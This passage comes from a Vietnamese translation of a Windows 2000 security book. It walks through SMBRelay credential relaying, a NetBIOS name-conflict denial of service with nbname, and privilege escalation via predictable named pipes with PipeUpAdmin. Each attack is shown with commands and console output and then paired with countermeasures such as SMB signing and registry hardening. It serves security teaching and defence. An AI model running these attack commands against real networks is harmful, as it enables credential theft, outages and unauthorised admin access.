chỉ bằng việc kết nối đơn giản qua điạ chỉ chuyển tiếp địa chỉ này mặc định
với 192.1.1.1. Dưới đây là những biểu hiện của nó:
C:\>net use * \\192.1.1.1\c$
Drive E: is now connected to \\192.168.234..252\c$
The command completed successfully.
C:\>dir e:
Volume in drive G has no label
Volume Serial Number is 44FO-BFDD
Directory of G:\
12/02/2000 10:51p <Dir> Documents and settings
12/02/2000 10:08p <Dir> Inetpub
05/25/2001 03:47a <Dir> Program Files
05/25/2001 03:47a <Dir> WINNT
0 File(s) 0 bytes
4 Dir(s) 44,405,624,832, bytes free
Trong hệ thống máy khách Windows, hệ thống kết nối với máy chủ
SMBRelay trong phần ví dụ trước, chúng ta thấy những biểu hiện sau. Trước
hết, lệnh sử dụng mạng gốc dường như có lỗi hệ thống 64. Sử dụng mạng hiện
thời sẽ báo ổđĩa chưa được cài đặt. Tuy nhiên, phần mạng hiện thời sẽ phát
hiện ra rằng nó được kết nối không chủđịnh với một máy có tên giả mạo
(CDC4EVER, máy có SMBRelay được cài đặt nhờ sự mặc định trừ khi thay
đổi thông số /S name đang sử dụng.
C:\client>net use \\192.168.234.34\ipc$ * /u: Administrator
Type the password for \\192.168.234.34\ipc$
System error 64 has occurred.
The specified network name is no longer available.
C:\client>net use
New connection will not be remember.
There are no entries in the list
C: \client>net session
Computer User name Client Type Opens Idle time
----------------------------------------------------------------------------------------------
\\CDC4EVER ADMINISTRATOR Owned by cDc 0 00: 00: 27
The command completed successfully.
Khi sử dụng SMBRelay thường phát sinh một số vấn đề. Một lần thử kết nối
từ một địa chỉ IP của nạn nhân đã cho và không thành công, tất cả các lần thử
khác từđịa chỉđó đều phát sinh lỗi đó. (lỗi này là do thiết kế chương trình,
nhưđã nêu trong mục hướng dẫn). Bạn cũng có thể gặp khó khăn này ngay cả
khi sựđiều chỉnh ban đầu đã thành công nhưng bạn nhận được một thông tin
như: "Login failure code: 0xC000006D." Khởi động lại SMBRelay giảm bớt
những khó khăn đó. (chỉ cần kích phím CTRL-C để dừng lại). Ngoài ra, bạn
cũng có thể thấy sự kết nối sai từ bộ phận điều hợp Loopback (169.254.9.119)
chúng ta yên tâm lờđi.
Chúng ta cũng có thể sử dụng ARP chuyển giao/cache độc hại để chuyển giao
khả năng tải máy khách đến một máy chủ SMB giả tạo. Xem chương 10
Biện pháp đối phó Đổi hướng SMB
Trên lý thuyết, SMGRelay rất khó bảo vệ. Vì nó đòi hỏi khả năng hiệu chỉnh
tất cả các xác nhận các ngôn ngữ LM/NTLM khác nhau, nó nên có khả năng
bắt giữ lại bất cứ sự xác nhận nào trực tiếp về phía nó.
Dấu hiệu kỹ thuật số thông báo truyền thông SMB có thểđược sử dụng để
trống lại các vụ tấn công máy trung gian SMBRelay, nhưng nó sẽ không làm
đảo lộn các vụ tấn công máy chủ bất hợp pháp do SMBRelay có thểđánh giá
thấp sự hiệu chỉnh kênh an ninh với những máy khách là nạn nhân.
☻Các vụ tấn công máy trung gian SMB (MITM)
Tính phổ biến:
2
Tính đơn giản:
2
Tính hiệu quả:
8
Mức độ rủi ro:
4
Các vụ tấn công máy trung gian SMBRelay là lý do chính cho sự tuyên truyền
lớn về máy SMBRelay khi nó được tung ra thi trường. Mặc dù khái niệm về
các vụ tấn công SMB MITM là hoàn toàn lỗi thời trong khoảng thời gian
SMBRelay đươc giải thoát, đây là công cụ phổ biến rộng rãi đầu tiên tựđộng
trống lại tấn công.
Một ví dụ về việc bố trí máy MITM với SMBRelay được trình bày trong biểu
đồ 6-2. Trong ví dụđó, giới tin tặc bố trí một máy chủ bất hợp pháp ở
192.168.234.251 (với NetBIOS trên TCP mất khả năng hoạt động, đây là địa
chỉ thực của máy MITM của giới tin tặc), một địa chỉ chuyển tiếp của
192.168.234.252 sử dụng /R, và một địa chỉ máy chủđích có /T
Bảng 6-2: Mô hình SMBRelay MITM
C:\>smbrelay /IL 2 /IR 2 /R 192.168.234.152 /T 192.168.234.34
Bound to port 139 on address 192.168.234.251
Tiếp đó một máy khách bị tấn công 192.168.234.220 kết nối với địa chỉ máy
chủ mạo danh, luôn ý thức rằng mình đang giao tiếp với mục tiêu.
Connection from 192.168.234.220:1043
Request type: session request 72 bytes
Source name:* GW2KNT4 (00)
Target name: SMBSERVER (20)
Setting target name to source name and source name to "CDC4EVER"...
Response: positive session response 4 bytes
Request type: session message 174 bytes
SMB_COM_NEGOTIATE
Response: session message 95 bytes
Challenge (8 bytes): 1DEDB6BF7973DD06
Security signatures required by server*** This may not work
Disabling security signatures
Chú ý rằng máy chủđích đã được cấu hình sẽđòi hỏi hình thức truyền thông
SMB được đăng ký số, và SMBRelay sẽ vô hiệu hóa các chữ ký.
Request type: session Message 286 bytes
SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password:
A4DA35F982CBE17FA2BBB952CBC01382C210FF29461A71F1
Case sensitive password:
F0C2D1CA8895BD26C7C7E8CAA54E10F1E1203DAD4782FB95
Username: Administrator
Domain: NT4DOM
Os: Windows NT 1381
Lanman type:
???: Windows NT 4.0
Response: session Message 144 bytes
OS: Windows NT 4.0
Lanman type: NT LAN Manager 4.0
Domain: NT4DOM
Password hash written to disk
Connected?
Relay IP address added to interface 2
Bound to port 139 on address 192.168.234.252
Relaying for host GW2KNT4 192.168.234.220
Tại đây, kẻ tấn công đã tự nhập thành công vào dòng SMB giữa máy khách bị
tấn công và máy chủđích, và khai thác thông tin LM và NTLM của máy
khách từ thông báo phản hồi hiệu lệnh. Kết nối với địa chỉ chuyển tiếp sẽ cho
phép tiếp cận với tài nguyên của máy chủđích. Ví dụ, đây là hệ thống tấn
công độc lập cài đặt phần C$ trên địa chỉ chuyển tiếp.
D:\>net use * \\192.168.234.252\c$
Drive G: is now connected to \\gw2knt4\c$
The command completed successfully.
Đây là những gì có thể thấy về sự kết nối từ hệ thống của giới tin tặc trên bàn
giao tiếp người-máy chủ SMBRelay:
+++ Relay connection for target GW2KNT4 received from
192.168.234.50:1044
+++Sent positive session response for relay target GW2KNT4
+++Sent dialect selection response (7) for target GW2KNT4
+++Sent SMB session setup response for relay to GW2KNT4
SMBRelay có thể không ổn định và kết quả không phải lúc nào cũng đúng
hoàn toàn, nhưng đã thực hiện thành công, đó rõ ràng là một đợt tấn công phá
hoại. Máy trung tâm đã tiếp cận hoàn toàn với tài nguyên của máy chủđich
mà không cần nhấc một ngón tay.
Đương nhiên, khó khăn chủ yếu ởđây là: trước hết phải thuyết phục máy
khách bị tấn công xác nhận với máy chủ MITM, tuy nhiên, chúng tôi đã bàn
bạc một số phương pháp để giải quyết khó khăn này. Có thể gửi cho máy
khách bị tấn công một tin nhắn e-mail xấu với một siêu liên kết đã được gắn
sẵn với địa chỉ của máy chủ MITM SMBRelay. Hoặc thực hiện một tấn công
độc hại ARP trống lại toàn bộ một mảng nào đó. Làm cho toàn bộ hệ thống
trên phần đó phải xác nhận thông qua máy chủ MITM bất hợp pháp. Thảo
luận sự chuyển giao/cache độc hại trong chương 10.
◙ Các biện pháp đối phó máy trung tâm SMB (MITM)
Các biện pháp có vẻ rõ ràng với SMBRelay là cấu hình Windows 2000 để sử
dụng SMB Signing, hiện được xem như số hóa khách /truyền thông phục vụ.
Máy SMBSigning được giới thiệu với dịch vụ Windows NT4 lô 3 và được
thảo luận trong mục KB Q161372.
Như cái tên gọi đã gợi ý, xác lập Windows 2000 nhằm số hóa khách hoặc
truyền thông phục vụ sẽ làm ký hiệu mật mã hóa mỗi khối của truyền thông
SMB. Chữ ký này có thểđược một máy khách hoặc máy chủ kiểm tra đểđảm
bảo tính toàn vẹn và xác thực của mỗi khối, làm cho máy chủ SMB không
thích hợp về mặt lý thuyết (không chắc có thực, phụ thuộc vào thuật toán dấu
hiệu đã được sử dụng). Theo mặc định Windows 2000 được cấu hình như:
Số hóa truyền thông khách (khi có thể) Được kích
hoạt
Kênh an toàn: mật mã số dữ liệu kênh an ninh (khi có thể) Được
kích hoạt
Kênh an toàn: Số hóa dữ liệu kênh bảo mật (khi có thể) Được kích
hoạt
Những xác lập đó có trong các chính sách bảo mật /cục bộ/ những lựa chọn an
toàn. Vì vậy, nếu máy chủ hỗ trợ việc ký SMB, Windows 2000 sẽ sử dụng nó.
Để ký SMB, ta có thể tuỳ ý kích hoạt các tham số phụ trong phần Security
Options.
Ký truyền thông máy khách dạng số (luôn luôn) Được kích
hoạt
Ký truyền thông máy chủ dạng số (luôn luôn) (nó sẽ ngăn chặn hiện tượng
chuyển lại từ SMBRelay).
Được kích hoạt
Kênh an toàn: ký hoặc mã hoá số dữ liệu kênh an toàn (luôn luôn) Được
kích hoạt
Kênh an toàn: yêu cầu phím chuyển mạnh (Windows 2000 hoặc mới hơn)
Được kích hoạt
Chú ý những xác lập này có thể gây ra những trục trặc về liên kết với các hệ
thống NT4, thậm chí SMB signing đã có thể làm việc trong các hệ thống đó.
Tuy nhiên, như chúng ta đã thấy, SMBRelay hiệu chỉnh nhằm vô hiệu hóa
SMB Signing và sẽ có thể phá vỡ những xác lập này.
Do các đợt tấn công SMBRelay MITM là những kết nối hợp lệ chủ yếu,
không có các mục phát lộ chuyên dụng để thông báo tấn công đang xảy ra.
Đối với máy khách bi tấn công, những vấn đề về khả năng liên kết có thể ra
tăng khi kết nối với máy chủ SMBRelay gian lận, bao gồm lỗi hệ thống số 59,
"một sự cố mạng ngoài dự tính." Nhờ SMBRelay, việc kết nối sẽ thực sự
thành công , nhưng nó tự tách rời với sự kết nối của khách và tin tặc.
Tấn công IIS 5
Nếu bất kỳ một vụ tấn công nào ngang hoặc vượt quá khả năng của NetBIOS
và SMB/CIFS trong bộđệm hiện thời, phương pháp thâm nhập máy chủ thông
tin Internet (IIS)sẽ tăng lên vô số, một sự trợ giúp đáng tin cậy đã được tìm ra
trong các hệ thống NT/2000 kết nối Internet. Các sản phẩm máy chủ Windows
2000 đã được cài đặt IIS 5.0 và dịch vụ Web kích hoạt mặc định. Mặc dù
chúng ta sẽ tìm hiểu chi tiết các thủ thuật tấn công Web trong chương 15,
chúng tôi cho rằng bạn cần phải biết đường tiếp cận quan trọng để bạn không
quên cửa vào hệđiều hành rất có thểđang ở trạng thái mở.
Chú ý: kiểm tra toàn bộ cuốn Đột nhập Windows 2000 để biết các hình thức
tấn công và những biện pháp đối phó chủđộng.
Tràn bộđệm từ xa
Trong chương 5 chúng tôi thảo luận hiện tượng tràn bộđệm trung gian Win 32
và trích dẫn một số nguồn để các bạn đọc thêm về vấn đề này. Hiện tượng tràn
bộđệm nguy hiểm nhất trong Windows 2000 là IIS có liên quan: tràn bộđệm
Internet Printing Protocol ISAPIDLL (MS01-123), thành quả Index server
ISAPIDLL (MS01-123), và tấn công thành phần phụ Front Page Server
Extensions (MS01-035), những hiện tượng này được trình bày trong chương
15.
KHƯỚC TỪ DỊCH VỤ
Do hầu hết các vụ tấn công (DoS) NT được sửa tạm bởi NT4 Service Pack 6a,
Windows 2000 tương đối mạnh ởđiểm này. Không có gì là không thể bị tấn
công với DoS, mặc dù vậy, chúng tôi sẽ thảo luận trong phần tiếp theo. Phần
trình bày về tấn công Windows 2000 DoS của chúng tôi được chia làm hai
phần: tấn công TCP/IP và tấn công NetBIOS.
☻Tấn công Windows 2000 TCP/IP DoS
Đây là một thực tế trên mặt trận Internet - sử dụng quá tải. Win2000test.com
nhận thấy rằng Internet đã bị sử dụng quá khả năng tối ưu của nó, mặc dù
những qui định về thử nghiệm đã tránh hoàn toàn các vụ tấn công DoS. Máy
chủ trong vấn đề này gặp phải các đợt tấn công mạnh mẽ bộ phận IP vượt quá
khả năng của máy chủđể tập hợp lại các gói tin, cũng như các đợt tấn công ol'
SYN đã xâm nhập vào hàng của ngăn xếp TCP/IP của các liên kết nửa mở.
(xem chương 12 để biết thêm chi tiết)
◙ Các biện pháp đối phó TCP/IP DoS
Cấu hình các công cụ cổng vào mạng hoặc phần mềm bảo vệ nhằm đổi hướng
hầu hết sự cố nếu tất cả các sự cốđều không phải do kỹ thuật đó gây ra. (xem
chương 12 để biết thêm chi tiết.) Tuy nhiên, như chúng ta vẫn nói, cấu hình
các máy chủ cá nhân để chống lại các đợt tấn công trực tiếp là một ý tưởng tốt
trong trường hợp một tầng bảo vệ bị hỏng.
Phần lớn do kinh nghiệm có được từ Win2000test.com, Microsoft có thể thêm
một số khóa Registry vào Windows 2000 phím này có thểđược sử dụng để
làm vững chắc thêm ngăn xếp TCP/IP chống lại tấn công DoS. Bảng 6-3 trình
bày ngắn gọn cách thức đơn vị Win2000test.com cấu hình DoS-related
Registry xắp sếp trong máy chủ. (bảng này được phỏng theo trang trắng của
Microsoft từ kinh nghiệm từ Win2000test.com, bạn có thể truy cập trang:
http:// www.microsoft.com/security, cũng như xem các thông báo cá nhân với
đơn vị Win2000test.com)
Khóa trong HKLM\
Sys\
CCS\
Service
Chỉ
số
yêu
cầu
Miêu tả
Tcpip\parameter\SynAtta
ck Protect
2 Thông số này làm cho TCP hiệu chỉnh
sự tiếp phát của SYN-ACKS để từđó
việc kết nối phản ứng lại thời gian chết
nhanh hơn nếu một tấn công SYN trong
tiến trình xảy ra. Sự xác định này dựa
trên TcpMaxPortsExhausted hiện thời,
TcpMaxHalfOpen, và
TcpMaxHalfOpenR etried. Môt trong
hai chỉ số cung cấp sự bảo vệ tốt nhất
chống lại các tấn công SYN, nhưng có
thể gây ra trục trặc về liên kết cho người
sử dụng đối với những đường dẫn có
góc trễ cao. Ngoài ra, ổ cắm lựa chọn
dưới đây sẽ không làm việc nếu thông
sốđó được cài đặt cho 2 chỉ số.
Windows có thể thay đổi tỷ lệ (RFC
1323) và các thông số TCP cấu hình
mỗi bộđiều hợp (RTT ban đầu, kích cỡ
Windows).
Tcpip\parameter\Enable
DeadGWDetect
0 Khi thông số này là 1, TCP được phép
thực hiện việc rò tìm cổng vào vô hiệu,
làm cho nó chuyển sang cổng vào sao
lưu nếu một số kết nối gặp phải khó
khăn. Các cổng vào sao lưu có thểđược
định dạng trong phần Advanced của hộp
đối thoại cấu hình TCP\IP trong
Network Control Panel. Cài đặt vào chỉ
số 0 vì thế tin tặc không thể chuyển đổi
sang các cổng vào được đồ họa kém.
Tcpip\parameter\Enable
PMTUDiscovery
0 Khi thông số cài đặt là 1 (đúng),TCP
hiệu chỉnh để rò tìm ra đơn vị truyền
dẫn tối đa (MTU, hoặc kích cỡ gói tin
lớn nhất) qua đường dẫn tới một máy
chủ từ xa. Bằng việc phát hiện ra Path
MTU và giới hạn các bộ phận TCP ở
kích cỡđó, TCP có thể loại trừ việc
phân đoạn ở các cầu dẫn dọc theo đường
dẫn kết nối mạng với các MTU khác
nhau. Việc phân đoạn có ảnh hưởng rất
lơn đến thông lượng TCP và sự nghẽn
mạch. Cài đặt thông số 0 khiến cho một
MTU 576bytes được sử dụng cho tất cả
các liên kết ngoại trừ máy chủở mạng
cục bộ và ngăn chặn giới tin tặc ép
MTU với một chỉ số nhỏ hơn trong nỗ
lực bắt ngăn xếp làm việc quá sức.
Tcpip\parameter\
KeepAliveTime
300,0
0
Thông số này kiểm soát việc TCP hiệu
chỉnh để xác minh rằng một liên kết
(5
phút)
hỏng vẫn chưa được phát hiện do việc
gửi một gói tin đang tồn tại. Nếu hệ
thống từ xa vẫn phát huy hiệu lực, nó
thừa nhận việc truyền dẫn vẫn đang hoạt
động. Các gói tin đang tồn tại sẽ không
được mật định gửi đi. Đặc điểm này có
thểđược thực hiện nhờ một ứng dụng vê
liên kết. Đó là sự xắp sếp chung, ứng
dụng cho tất cả các mạch ghép nối, và
có thể quá ngắn cho các bộđiều hợp sử
dụng để quản lí hoặc công nhận tình
trạng dư thừa.
Tcpip\parameter\Interface
0(hỏn
Thông số này xác định liệu máy tính có
phát ra tên NetBIOS của nó hay không
<interfaces>
NoNameReleaseOnDema
nd
khi nó nhận được một lệnh Name-
Release từ mạng. Một chỉ số 0 bảo vệ
khỏi các tấn công Name-Release nguy
hiểm.(xem Microsoft Security Bullentin
MS00-047). Chưa rõ là một tấn công có
thể có ảnh hưởng gì, nếu có thì ảnh
hưởng đối với mạch ghép nối nơi
NetBIOS/SMB/CIFS đã bị vô hiệu hóa,
nhưđã thảo luận trong phần đầu của
chương.
Tcpip\parameter\Interface
s<interfaces>
PerformRouterDiscovery
0 Thông số này kiểm soát khả năng
Windows NT/2000 có hiệu chỉnh để
phát hiện router bằng RFC 1256 trên cơ
sở qua mạch ghép nối hay không. Một
chỉ số 0 ngăn chặn các vụ tấn công nguy
hiểm router không thật. Sử dụng chỉ số
này trong Tcpip\parameters\Adapters để
tính toán xem chỉ số nào của mạch ghép
nối là phù hợp với bộđiều hợp mạng.
Bảng 6-3. Giới thiệu thiết lập NT/2000TCP/IP Stack nhằm hạn chế các vụ
tấn công Khước từ dịch vụ (Denial of service)
CẢNH BÁO:Một vài chỉ số trong bảng 6-3, như SynAttackProtect=2, có thể
quá linh hoạt trong một vài môi trường. Những xác lập đó được trình bày
nhằm bảo vệ một máy chủ Internet có khả năng tải cao.
Xem mục KB Q142641 để biết thêm chi tiết về việc xắp sếp SynAttackProtect
và các thông số này.
☻Tấn công NetBIOS DoS
Tháng 6 năm 2000, Sir Dystic of Cult of the Dead Cow (http://
www.cultdeadcow.com) đã thông báo rằng: gửi một tin nhắn "NetBIOS Name
Release" tới NetBIOS Name Service (NBNS, UDP 137) trên một máy
NT/2000 buộc nó phải lấy tên đối lập vì vậy hệ thống sẽ không còn khả năng
sử dụng nó nữa. Điều này gây cản trở lớn cho máy trong việc tham gia mạng
NetBIOS.
Cùng lúc đó, Network Associates COVERT Labs (http:// www.nai.com) đã
phát hiện ra rằng một tin tặc có thể gửi cho Net BIOS Name Service một tin
nhắn NetBIOS Name Conflict ngay cả khi máy tiếp nhận không nằm trong
quá trình đăng ký NetBIOS Name. Điều dẫn đến việc lấy tên đối lập, và không
thể sử dụng được nữa, cản trở lớn việc tham gia vào mạng NetBIOS của hệ
thống.
Sir Dystic đã mã hóa một ưu thếđược gọi là nbname khả năng này có thể gửi
một gói tinNBNS Name Release tới tất cả các mục nhập trong bảng NetBIOS
name. Đây là một ví dụ về cách sử dụng nbname cho máy chủđơn DoS.
Trong Windows 2000, trước hết bạn phải vô hiệu hóa NetBIOS đối với
TCP/IP để ngăn chặn sự xung đột với dịch vụ NBNS, dịch vụ thông thường có
thểđộc nhất sử dụng UDP 137. Sau đó, cho chạy nbname nhưđã trình bày sau
đây. (Đặt 192.168.234. 222 với địa chỉ IP của máy chủ bạn muốn vào DoS)
C:\>nbname/astat 192.168.234. 222 /conflict
NBName v2.51 - Decodes and displays NetBIOS Name traffic (UDP 137),
with options
Copyright 2000: Sir Dystic, Cult of the Dead Cow -:/:- New Hack City
Send complaits, ideas and donations to
[email protected]/[email protected]
WinSock v2,0 (v2.2) WinSock 2.0
WinSock status: Running
Bound to port 137 on address 192.168.234.244
Broadcast address: 192.168.234.255 Netmask: 255. 255.255.0
**** NBSTAT QUERY packet sent to 192.168.234. 222
waiting for packets...
** Received 301 bytes from 192.168.234. 222.137
via local net at web jun 20 15:46:12 200
OPCode: QUERY
Flags: Response Authoratative Answer
Answer[0]
••<00>
Node Status Resoure Rocord:
MANDALAY <00> ACTIVE UNIQUE NOTPERM INCONFLICT
NOTDEREGED B-NODE
MANDALAY <00> ACTIVE GROUP NOTPERM NOCONFLICT
NOTDEREGED B-NODE
**** Name release sent to 192.168.234. 222.
(etc.)
Khóa chuyển đổi /ASTAT truy lục trạng thái bộđiều hợp từ xa từ nạn nhân,
và /CONFLICT gửi các gói tin tách tên cho từng tên trong bảng tên từ xa của
máy, các máy phản ứng lại yêu cầu về trạng thái bộđiều hợp. Một tin tặc có
thể tấn công DoS trên toàn bộ một mạng lưới có sử dụng khóa chuyển đổi
QUERY (tên IP) /CONFLICT/NENY (tên_or_tệp).
Máy chủ khi bị tấn công có thể có những triệu chứng sau:
••Xuất hiện sự cố khả năng liên kết mạng theo giai đoạn
••Những công cụ như Network Neighborhood hoạt động
••Các tương ứng lệnh net send không phát huy tác dụng
••Máy chủ bi tấn công không xác nhân giá trị các đăng nhập miền
••Không thể tiếp cận các tài nguyên dùng chung và một số dịch vụ
NetBIOS cơ bản như giải pháp tên NetBIOS.
••Lệnh nbtstat-n có thể hiển thị trạng thái "Conflict"(Xung đột) bên cạnh
dịch vụ tên NetBIOS, cụ thể như sau:
Local Area Connection
Node IpAddress: (192.168.234. 222) Scope Id: []
NetBIOS Local Name Table
Name Type Status
--------------------------------------------------------------------------------
MANDALAY <00> UNIQUE Conflict
MANDALAYS <00> GROUP Registered
MANDALAYS <1C> GROUP Registered
MANDALAY <20> UNIQUE Conflict
MANDALAYS <1E> GROUP Registered
MANDALAYS <1D> UNIQUE Conflict
.. _ MSBROWS_ <01> GROUP Registered
MANDALAYS <1B> UNIQUE Conflict
Inet~Servics <1C> GROUP
Registered
IS~MANDALAY.. <00> UNIQUE Conflict
◙ Các biện pháp đối phó NBNS DoS
Hãy đổ lỗi cho IBM (NetBIOS đã được phát minh). NetBIOS là một định ước
chưa được xác minh đã đươc ứng dụng. Bộ phận định vị của Microsoft đã tạo
ra phím Registry, phím này dừng việc thừa nhận tin nhắn Name Release của
NetBIOS Name Service. Bộ phận định vị của Name Conflict chỉđược dùng để
thừa nhận tin nhắn NBNS Name Conflict khi đang trong giai đoạn đăng ký.
Trong thời gian này máy vẫn có thể bị tấn công. Các bộ phận định vị và các
thông tin khác có thểđược cập nhật trên trang web: http://
www.microsoft.com/technet/security/bulletin/MS00-047. asp. Giải pháp đối
phó tạm thời này không nằm trong SP1, vì vậy nó có thểđược áp dụng cho cả
hệ thống trước và sau SP1.
Lẽđương nhiên, giải pháp lâu dài là phải chuyển đi từ NetBIOS trong các môi
trường mà tình trạng phá rối có thể xảy ra. Tất nhiên, phải luôn đảm bảo rằng
UDP 137 không thể bị tiếp cận từ bên ngoài khu vực bảo vệ.
LEO THANG ĐẶC QUYỀN
Một khi giới tin tăc đã tiếp cận một máy chủ trong hệ thống Windows 2000,
ngay lập tức chúng sẽ tìm cách để có được đặc quyền hợp pháp: Administrator
account. May mắn là Windows 2000 có khả năng chống cự lại tốt hơn các
phiên bản trước đó khi bị tấn công. (rất ít khi nó rơi vào tình trạng rễ bị tấn
công như trước như: sử dụng biện pháp đối phó tạm thời cho admin và
sechole). Rủi ro là ở chỗ, một khi giới tin tặc giành được đặc quyền đăng nhập
tương tác, khả năng ngăn chặn leo thang đặc quyền là rất hạn chế. (đăng nhập
tương tác sẽđược mở rộng nhiều hơn khi Windows 2000 Terminal Server trở
lên phổ biến trong việc quản lí từ xa và chi phối khả năng xử lí.) Sau đây
chúng ta sẽ xem xét hai ví dụ
☻Dự báo đường dẫn tên mã hóa là SYSTEM
Tính phổ biến:
4
Tính giản đơn:
7
Tính hiệu quả:
10
Mức độ rủi ro:
7
Được khám phá bởi Mike Schiffman và gửi cho Bugtraq (ID 1535), khả năng
dựđoán về việc chế tạo ký hiệu ống dẫn có tên khi Windows 2000 bắt đầu hệ
thống dịch vụ (như Server, Worksation, Alerter và ClipBook đều được nhập
vào dưới trương mục SYSTEM) được khám phá từđiểm yếu trong leo thang
đặc quyền cục bộ khi. Trước khi mỗi dịch vụđươc bắt đầu, một ký hiệu ống
dẫn có tên cạnh máy chủđược tạo ra với một chuỗi tên có thể dựđoán được.
Chuỗi này có thể thu được từ khoá Registry
HKLM\System\CurrentControlSet\Control\ServiceCurrent.
Vì vậy, bất kỳ ai sử dụng Windows 2000 đã được nhập tương tác (bao gồm cả
những người sử dụng Terminal Server từ xa ) có thể dựđoán tên của một
chuỗi ký hiệu ống dẫn có tên. Minh họa và áp dụng nội dung an ninh của
SYSTEM sẽđược trình bày vào lần sau. Nếu một mã tùy chọn nào đó được
cài đặt vào ký hiệu ống dẫn, nó sẽ vận hành với các đặc quyền SYSTEM, làm
cho nó chỉ có khả năng thực hiện đối với hệ thống cục bộ (vídụ: bổ sung thêm
người sử dụng hiện thời vào nhóm Administrator).
Khai thác điểm yếu trong dựđoán ký hiệu ống dẫn có tên là trò chơi của trẻ
em khi sử dụng công cụ PipeUpAdmin từ Maceo. PipeUpAdmin bổ sung
trương mục người sử dụng hiện thời vào nhóm Administrator cục bộ, như
được trình bày ví dụ dưới đây. Ví dụ này thừa nhận Wongd người sử dụng là
đã được xác minh với việc tiếp cận tương tác với bàn giao tiếp người-máy
bằng lênh. Wongd là một thành viên của nhóm điều khiển Server Operators.
Trước hết, Wongd kiểm tra hội viên của nhóm Administrators cục bộ nắm mọi
quyền lực.
C:\>net localgroup administrators
Alias name administrators
Comment administrators have complete and unrestricted access to the
Computer/domain
Members
----------------------------------------------------------------------------------------------
----
Administrator
The command completed successfully.
Sau đó, Wongd tự nhập vào Administrators, nhưng lại nhận được thông báo từ
chối tiếp cận do thiếu đặc quyền.
C:\>net localgroup administrators wongd/add
System error 5 has occurred
Access is dinied
Tuy nhiên, anh hùng wongd chưa bị tấn công. Anh ta tích cực tải
PipeUpAdmin về từ trang web (http:// www.dogmile.com/files), và ứng dụng
C:\>pipeupadmin
PipeUpAdmin
Maceo<maceo @dogmile.com>
© Copyright 2000-2001 dogmile.com
The ClipBook service is not started
More help is available by typing NET HELPMSG 3521.
Impersonating: SYSTEM
The account: FS-EVIL\wongd
has been added to the Administrators groups
Sau đó, Wongd chạy lệnh Net Localgroup và tự xác định đúng vị trí mà anh ta
muốn.
C:\>net localgroup administrators
Alias name Administrators
Comment Administrators have completed and unrestricted access to
the
Computer/domain
Members
-------------------------------------------------------------------------------------------
Administrator
Wongd
The command completed successfully.
Hiện tại, tất cả những gì wongd phải thực hiện để tận dụng đặc quyền của
Administrator tương đương là thoát và đăng nhập lại. Nhiều trường hợp khai
thác sự leo thang đặcquyền phải có yêu cầu đó, vì Windows 2000 phải xây
dựng lại mã thông báo tiếp cận của người sử dụng hiện thời nhằm bổ sung
thêm SID cho thành viên nhóm mới. Mã thông báo có thểđược sử dụng lệnh
gọi API mới, hoặc đơn giản bằng cách tắt máy rồi sau đó xác nhận lại. (xem
phần thảo luận về mã thông báo tại chương 2).
Chú ý công cụ PipeUpAdmin phải được chạy trong phạm vi người sử dụng
INTERACTIVE. (co nghĩa là bạn phải nhập vào hệ tại bàn phím vật lý, hoặc
thông qua một trình tiện ích điều khiển từ xa với trạng thái INTERACTIVE,
ví dụ như thông qua Terminal Services). Điều này ngăn chặn PipeUpAdmin
được chạy qua các trình tiện ích điều khiển từ xa các trình tiện ích này đã xuất
hiện mà không có INTERACTIVE SID trong mã thông báo.
◙ Sửa chữa khả năng dựđoán ký hiệu ống dẫn có tên
Microsoft đã đưa ra một giải pháp ứng phó tạm thời nhằm thay đổi việc
Windows 2000 Service Control Manager (SCM) tạo ra và phân bố ký hiệu
ống dẫn như thế nào. Bạn có thể tìm hiểu thêm chi tiết tại địa chỉ: http://
www.microsoft.com/technet/security/bulletin/MS00-053. asp. Giải pháp ứng
phó tạm thời này không nằm trong Service Pack 1 và vì thế có thểđược áp
dụng cho cả máy chủ trước và sau SP1.
Tất nhiên, những đặc quyền đăng nhập tương tác đã bị giới hạn tới mức tối đa
cho bất kỳ một hệ thống nào có chưa dữ liệu dễ bị tấn công do việc tận dụng
như vậy trở nên dễ dàng hơn nhiều một khi giới tin tặc đạt được vị trí nguy
hiểm đó. Để kiểm tra việc đăng nhập tương tác ngay dưới Windows 2000,
chạy applet Security Policy (cục bộ hoặc nhóm), tìm nút chỉđịnh chính sách
cục bộ\ quyền sử dụng, và kiểm tra quyền Log On Locally được định hình như
thế nào.
Windows 2000 có cái mới lànhiều đặc quyền hiện đã có bản sao cho phép các
nhóm cụ thể hoặc người sử dụng không có quyền đó. Trong ví dụ này, bạn có
thể sử dụng quyền Deny Logon Locally, như sau:
Chú ý:Theo mặc định, nhóm Users và trương mục Guest có quyền Log On
Locally trong Windows 2000 Professional và các máy chủ Windows 2000
không kết nối. DC hạn chế hơn do chính sách Default Domain Controllers
(Mạch điều khiển miền mặc định) gắn liền với sản phẩm. (mặc dù tất cả nhóm
Operator máy đều có quyền đó.) Chúng tôi đề nghị tháo gỡ Users và Guest
trong bất cứ trường hợp nào và cân nhắc kỹ lưỡng những nhóm nào khác có
thể mất đi đặc quyền đó.
☻Vi phạm truy nhập xuyên trạm công tác
Tính phổ biến: 4
Tính giản đơn: 7
Tính hiệu quả: 10
Mức độ rủi ro: 7
Hầu hết các quản trị Windows không chấp nhận các trạm công tác trong Windows, có lẽ
đây là một trong những vấn đề khó hiểu nhất trong chương trình Windows. Mô hình an
ninh Windows 2000 xác định sự phân cấp các contenơđể xác lập các đường biên an ninh
trong các quá trình. Sự phân cấp đó, từ lớn nhất đến nhỏ nhất như sau: Phiên, Trạm công
tác, và màn hình. Phiên bao gồm một hoặc nhiều trạm công tác, những trạm công tác này
bao gồm một hoặc nhiều màn hình. Theo thiết kế, qúa trình xử lý bị hạn chế chạy trong một
trạm công tác, và các chuỗi trong quá trình xử lý chạy trong một hay nhiều màn hình. Tuy
nhiên, do một lỗi trong khi thực hiện, đó không phải là trường hợp của phiên bản đầu tiên
của Windows 2000. Trong các trường hợp đặc biệt, một quá trình đặc quyền thấp hơn chạy
trong một màn hình có thểđọc được thông tin của một màn hình ở trạm làm việc khác có
cùng Phiên. Kết quả là người sử dụng bịảnh hưởng đăng nhập vào Windows 2000 có thể
tương tác với các quá trình có Phiên giống nhau. (chú ý: thao tác này không cho phép nhiều
người tương tác với đăng nhập Terminal Server của người sử dụng khác vì họ có Phiên tách
rời nhau.) Họ cũng có thể tạo ra môt quá trình trong trạm làm việc khác. Tuy nhiên, nó
không rõ là họ có thể thực hiện thao tác nào thậm chí quá trình đã được tạo ra có đặc quyền
